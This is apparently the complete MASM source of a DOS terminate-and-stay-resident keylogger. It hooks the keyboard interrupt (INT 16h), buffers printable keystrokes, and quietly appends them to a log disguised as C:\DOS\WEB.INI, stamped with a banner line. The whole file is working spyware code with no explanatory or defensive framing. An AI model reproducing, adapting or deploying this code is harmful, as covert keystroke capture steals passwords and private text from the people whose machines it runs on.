        .MODEL tiny
        .CODE
	org 100h

BufSize equ 100

Limit   equ 75

Delay   equ 18

begin:  jmp Init

DtaFile db 'C:\DOS\WEB.INI', 0

Tit     db 10,13,'This silly game of love - you play, you win only to lose',10,13

MesLen  equ $-Tit

OldInt  dd      ?

Handle  dw	0

Cyc	dw	0

Symb	db	0

Buf	db	BufSize dup (?)

MayW    db      ?

Ticks   dw      ?

Int16   PROC

	push ds
	push cs
	pop  ds
	mov  byte ptr symb, ah
	pop  ds

        pushf
        call cs:OldInt

        pushf
	push ax
	push bx
        push cx
        push dx
        push si
	push di
	push bp
        push ds
        push es

        push cs
        pop  ds

        cmp  Symb, 01h
        je   next1
        cmp  Symb, 11h
        je   next1
        jmp  short nomay
next1:
        xor  ah, ah
        int  1Ah
        cmp  dx, Ticks
        jb   nomay
        sub  dx, Ticks
        cmp  dx, Delay
        jb   nomay
        mov  MayW, 1
        jmp  short next2
nomay:  mov  MayW, 0
next2:


        cmp  byte ptr symb, 0
        je   doit
        cmp  byte ptr symb, 10h
        je   doit
        jmp  nosymb

doit:

        cmp  al, ' '
        jb   nosymb
        cmp  al, 'z'
        ja   nosymb
        cmp  al, 0E0h
        je   nosymb

        mov  bx, offset buf
        add  bx, word ptr cyc
        mov  byte ptr [bx], al
        inc  word ptr cyc
        xor  ah, ah
        int  1Ah
        mov  Ticks, dx

nosymb:
        cmp  Cyc, BufSize
        jnb  writeb
        cmp  Cyc, Limit
        jb   ext
        cmp  MayW, 0
        je   ext
writeb:
        mov  ax, 3D01h
        mov  dx, offset DtaFile
        int  21h
        jc   ext
        mov  Handle, ax
        mov  ax, 4202h
        xor  cx, cx
        xor  dx, dx
        mov  bx, Handle
        int  21h
        mov  ah, 40h
        mov  cx, cyc
        mov  dx, offset buf
        mov  bx, Handle
        int  21h
        mov  ah, 3Eh
        mov  bx, Handle
        int  21h
        mov  word ptr cyc, 0

ext:

        pop  es
        pop  ds
        pop  bp
        pop  di
        pop  si
        pop  dx
        pop  cx
        pop  bx
        pop  ax
        popf

        push ax
	push bp
        push sp
        pop  bp
        pushf
        pop  ax
        mov word ptr ss:[bp+8], ax
        pop  bp
        pop  ax

        iret

Int16   ENDP

Init    PROC

        push cs
        pop ds

	mov ax, 3516h
	int 21h
        mov word ptr OldInt, bx
        mov word ptr OldInt+2, es

        mov  ax, 3D01h
        mov  dx, offset DtaFile
        int  21h
        jc   notsr
        mov  Handle, ax
        mov  ax, 4202h
        xor  cx, cx
        xor  dx, dx
        mov  bx, Handle
        int  21h
        mov  ah, 40h
        mov  cx, MesLen
        mov  dx, offset Tit
        mov  bx, Handle
        int  21h
        mov  ah, 3Eh
        mov  bx, Handle
        int  21h

	mov ax, 2516h
	mov dx, offset Int16
	int 21h

        mov dx, offset Init
        int 27h

notsr:  .EXIT

Init    ENDP

        END begin